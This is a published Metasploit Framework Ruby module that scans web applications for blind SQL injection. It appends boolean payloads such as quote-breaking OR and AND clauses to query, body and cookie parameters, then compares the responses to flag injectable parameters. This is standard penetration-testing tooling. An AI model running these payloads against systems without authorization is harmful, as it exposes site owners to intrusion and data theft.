Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/blind_sql_query.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::WmapScanUniqueQuery
9
include Msf::Auxiliary::Scanner
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'HTTP Blind SQL Injection Scanner',
17
'Description' => %q{
18
This module identifies the existence of Blind SQL injection issues
19
in GET/POST Query parameters values.
20
},
21
'Author' => [ 'et [at] cyberspace.org' ],
22
'License' => BSD_LICENSE,
23
'Notes' => {
24
'Reliability' => UNKNOWN_RELIABILITY,
25
'Stability' => UNKNOWN_STABILITY,
26
'SideEffects' => UNKNOWN_SIDE_EFFECTS
27
}
28
)
29
)
30
31
register_options(
32
[
33
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
34
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
35
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
36
OptString.new('DATA', [ false, "HTTP Body Data", '']),
37
OptString.new('COOKIE', [ false, "HTTP Cookies", ''])
38
]
39
)
40
end
41
42
def run_host(ip)
43
# Force http verb to be upper-case, because otherwise some web servers such as
44
# Apache might throw you a 501
45
http_method = datastore['METHOD'].upcase
46
47
gvars = Hash.new()
48
pvars = Hash.new()
49
cvars = Hash.new()
50
51
rnum = rand(10000)
52
53
inivalstr = [
54
[
55
'numeric',
56
" AND #{rnum}=#{rnum} ",
57
" AND #{rnum}=#{rnum + 1} "
58
],
59
[
60
'single quotes',
61
"' AND '#{rnum}'='#{rnum}",
62
"' AND '#{rnum}'='#{rnum + 1}"
63
],
64
[
65
'double quotes',
66
"\" AND \"#{rnum}\"=\"#{rnum}",
67
"\" AND \"#{rnum}\"=\"#{rnum + 1}"
68
],
69
[
70
'OR single quotes uncommented',
71
"' OR '#{rnum}'='#{rnum}",
72
"' OR '#{rnum}'='#{rnum + 1}"
73
],
74
[
75
'OR single quotes closed and commented',
76
"' OR '#{rnum}'='#{rnum}'--",
77
"' OR '#{rnum}'='#{rnum + 1}'--"
78
],
79
[
80
'hex encoded OR single quotes uncommented',
81
"'%20OR%20'#{rnum}'%3D'#{rnum}",
82
"'%20OR%20'#{rnum}'%3D'#{rnum + 1}"
83
],
84
[
85
'hex encoded OR single quotes closed and commented',
86
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
87
"'%20OR%20'#{rnum}'%3D'#{rnum + 1}'--"
88
]
89
]
90
91
# Creating strings with true and false values
92
valstr = []
93
inivalstr.each do |vstr|
94
# With true values
95
valstr << vstr
96
# With false values, appending 'x' to real value
97
valstr << ['False char ' + vstr[0], 'x' + vstr[1], 'x' + vstr[2]]
98
# With false values, appending '0' to real value
99
valstr << ['False num ' + vstr[0], '0' + vstr[1], '0' + vstr[2]]
100
end
101
102
# valstr.each do |v|
103
# print_status("#{v[0]}")
104
# print_status("#{v[1]}")
105
# print_status("#{v[2]}")
106
# end
107
108
#
109
# Dealing with empty query/data and making them hashes.
110
#
111
112
if !datastore['QUERY'] or datastore['QUERY'].empty?
113
datastore['QUERY'] = nil
114
gvars = nil
115
else
116
gvars = queryparse(datastore['QUERY']) # Now its a Hash
117
end
118
119
if !datastore['DATA'] or datastore['DATA'].empty?
120
datastore['DATA'] = nil
121
pvars = nil
122
else
123
pvars = queryparse(datastore['DATA'])
124
end
125
126
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
127
datastore['COOKIE'] = nil
128
cvars = nil
129
else
130
cvars = queryparse(datastore['COOKIE'])
131
end
132
133
verifynr = 2
134
135
i = 0
136
k = 0
137
c = 0
138
139
normalres = nil
140
141
verifynr.times do |j|
142
# SEND NORMAL REQUEST
143
begin
144
normalres = send_request_cgi({
145
'uri' => normalize_uri(datastore['PATH']),
146
'vars_get' => gvars,
147
'method' => http_method,
148
'ctype' => 'application/x-www-form-urlencoded',
149
'cookie' => datastore['COOKIE'],
150
'data' => datastore['DATA']
151
}, 20)
152
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
153
rescue ::Timeout::Error, ::Errno::EPIPE
154
end
155
156
if not normalres
157
print_error("No response")
158
return
159
else
160
if i == 0
161
k = normalres.body.length
162
c = normalres.code.to_i
163
else
164
if k != normalres.body.length
165
print_error("Normal response body vary")
166
return
167
end
168
if c != normalres.code.to_i
169
print_error("Normal response code vary")
170
return
171
end
172
end
173
end
174
end
175
176
print_status("[Normal response body: #{k} code: #{c}]")
177
178
pinj = false
179
180
valstr.each do |tarr|
181
# QUERY
182
if gvars
183
gvars.each do |key, value|
184
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
185
186
# SEND TRUE REQUEST
187
testgvars = queryparse(datastore['QUERY']) # Now its a Hash
188
testgvars[key] = testgvars[key] + tarr[1]
189
t = testgvars[key]
190
191
begin
192
trueres = send_request_cgi({
193
'uri' => normalize_uri(datastore['PATH']),
194
'vars_get' => testgvars,
195
'method' => http_method,
196
'ctype' => 'application/x-www-form-urlencoded',
197
'cookie' => datastore['COOKIE'],
198
'data' => datastore['DATA']
199
}, 20)
200
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
201
rescue ::Timeout::Error, ::Errno::EPIPE
202
end
203
204
# SEND FALSE REQUEST
205
testgvars = queryparse(datastore['QUERY']) # Now its a Hash
206
testgvars[key] = testgvars[key] + tarr[2]
207
208
begin
209
falseres = send_request_cgi({
210
'uri' => normalize_uri(datastore['PATH']),
211
'vars_get' => testgvars,
212
'method' => http_method,
213
'ctype' => 'application/x-www-form-urlencoded',
214
'cookie' => datastore['COOKIE'],
215
'data' => datastore['DATA']
216
}, 20)
217
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
218
rescue ::Timeout::Error, ::Errno::EPIPE
219
end
220
221
pinja = false
222
pinjb = false
223
pinjc = false
224
pinjd = false
225
226
pinja = detection_a(normalres, trueres, falseres, tarr)
227
pinjb = detection_b(normalres, trueres, falseres, tarr)
228
pinjc = detection_c(normalres, trueres, falseres, tarr)
229
pinjd = detection_d(normalres, trueres, falseres, tarr)
230
231
if pinja or pinjb or pinjc or pinjd
232
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
233
print_good("[#{t}]")
234
235
report_web_vuln(
236
:host => ip,
237
:port => rport,
238
:vhost => vhost,
239
:ssl => ssl,
240
:path => normalize_uri(datastore['PATH']),
241
:method => http_method,
242
:pname => key,
243
:proof => "blind sql inj.",
244
:risk => 2,
245
:confidence => 50,
246
:category => 'SQL injection',
247
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
248
:name => 'Blind SQL injection'
249
)
250
else
251
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
252
end
253
end
254
end
255
256
# DATA
257
if pvars
258
pvars.each do |key, value|
259
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
260
261
# SEND TRUE REQUEST
262
testpvars = queryparse(datastore['DATA']) # Now its a Hash
263
testpvars[key] = testpvars[key] + tarr[1]
264
t = testpvars[key]
265
266
pvarstr = ""
267
testpvars.each do |tkey, tvalue|
268
if pvarstr
269
pvarstr << '&'
270
end
271
pvarstr << tkey + '=' + tvalue
272
end
273
274
begin
275
trueres = send_request_cgi({
276
'uri' => normalize_uri(datastore['PATH']),
277
'vars_get' => gvars,
278
'method' => http_method,
279
'ctype' => 'application/x-www-form-urlencoded',
280
'cookie' => datastore['COOKIE'],
281
'data' => pvarstr
282
}, 20)
283
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
284
rescue ::Timeout::Error, ::Errno::EPIPE
285
end
286
287
# SEND FALSE REQUEST
288
testpvars = queryparse(datastore['DATA']) # Now its a Hash
289
testpvars[key] = testpvars[key] + tarr[2]
290
291
pvarstr = ""
292
testpvars.each do |tkey, tvalue|
293
if pvarstr
294
pvarstr << '&'
295
end
296
pvarstr << tkey + '=' + tvalue
297
end
298
299
begin
300
falseres = send_request_cgi({
301
'uri' => normalize_uri(datastore['PATH']),
302
'vars_get' => gvars,
303
'method' => http_method,
304
'ctype' => 'application/x-www-form-urlencoded',
305
'cookie' => datastore['COOKIE'],
306
'data' => pvarstr
307
}, 20)
308
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
309
rescue ::Timeout::Error, ::Errno::EPIPE
310
end
311
312
pinja = false
313
pinjb = false
314
pinjc = false
315
pinjd = false
316
317
pinja = detection_a(normalres, trueres, falseres, tarr)
318
pinjb = detection_b(normalres, trueres, falseres, tarr)
319
pinjc = detection_c(normalres, trueres, falseres, tarr)
320
pinjd = detection_d(normalres, trueres, falseres, tarr)
321
322
if pinja or pinjb or pinjc or pinjd
323
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
324
print_good("[#{t}]")
325
326
report_web_vuln(
327
:host => ip,
328
:port => rport,
329
:vhost => vhost,
330
:ssl => ssl,
331
:path => datastore['PATH'],
332
:method => http_method,
333
:pname => key,
334
:proof => "blind sql inj.",
335
:risk => 2,
336
:confidence => 50,
337
:category => 'SQL injection',
338
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
339
:name => 'Blind SQL injection'
340
)
341
else
342
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
343
end
344
end
345
end
346
end
347
end
348
349
def detection_a(normalr, truer, falser, tarr)
350
# print_status("A")
351
352
# DETECTION A
353
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
354
355
if normalr and truer
356
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
357
reltruesize = truer.body.length - (truer.body.scan(/#{tarr[1]}/).length * tarr[1].length)
358
normalsize = normalr.body.length
359
360
# print_status("normalsize #{normalsize} truesize #{reltruesize}")
361
362
if reltruesize == normalsize
363
if falser
364
relfalsesize = falser.body.length - (falser.body.scan(/#{tarr[2]}/).length * tarr[2].length)
365
366
# print_status("falsesize #{relfalsesize}")
367
368
if reltruesize > relfalsesize
369
print_status("Detected by test A")
370
return true
371
else
372
return false
373
end
374
else
375
vprint_status("NO False Response.")
376
end
377
else
378
vprint_status("Normal and True requests are different.")
379
end
380
else
381
print_status("No response.")
382
end
383
384
return false
385
end
386
387
def detection_b(normalr, truer, falser, tarr)
388
# print_status("B")
389
390
# DETECTION B
391
# Variance on res body
392
393
if normalr and truer
394
if falser
395
# print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
396
397
if (truer.body.length - tarr[1].length) != normalr.body.length and (falser.body.length - tarr[2].length) == normalr.body.length
398
print_status("Detected by test B")
399
return true
400
end
401
if (truer.body.length - tarr[1].length) == normalr.body.length and (falser.body.length - tarr[2].length) != normalr.body.length
402
print_status("Detected by test B")
403
return true
404
end
405
end
406
end
407
408
return false
409
end
410
411
def detection_c(normalr, truer, falser, tarr)
412
# print_status("C")
413
414
# DETECTION C
415
# Variance on res code of true or false statements
416
417
if normalr and truer
418
if falser
419
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
420
print_status("Detected by test C")
421
return true
422
end
423
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
424
print_status("Detected by test C")
425
return true
426
end
427
end
428
end
429
430
return false
431
end
432
433
def detection_d(normalr, truer, falser, tarr)
434
# print_status("D")
435
436
# DETECTION D
437
# Variance PERCENTAGE MIN MAX on res body
438
439
# 2% 50%
440
max_diff_perc = 2
441
min_diff_perc = 50
442
443
if normalr and truer
444
if falser
445
nl = normalr.body.length
446
tl = truer.body.length
447
fl = falser.body.length
448
449
if nl == 0
450
nl = 1
451
end
452
if tl == 0
453
tl = 1
454
end
455
if fl == 0
456
fl = 1
457
end
458
459
ntmax = [ nl, tl ].max
460
ntmin = [ nl, tl ].min
461
diff_nt_perc = ((ntmax - ntmin) * 100) / (ntmax)
462
diff_nt_f_perc = ((ntmax - fl) * 100) / (ntmax)
463
464
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
465
print_status("Detected by test D")
466
return true
467
end
468
469
nfmax = [ nl, fl ].max
470
nfmin = [ nl, fl ].min
471
diff_nf_perc = ((nfmax - nfmin) * 100) / (nfmax)
472
diff_nf_t_perc = ((nfmax - tl) * 100) / (nfmax)
473
474
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
475
print_status("Detected by test D")
476
return true
477
end
478
end
479
end
480
481
return false
482
end
483
end
484
485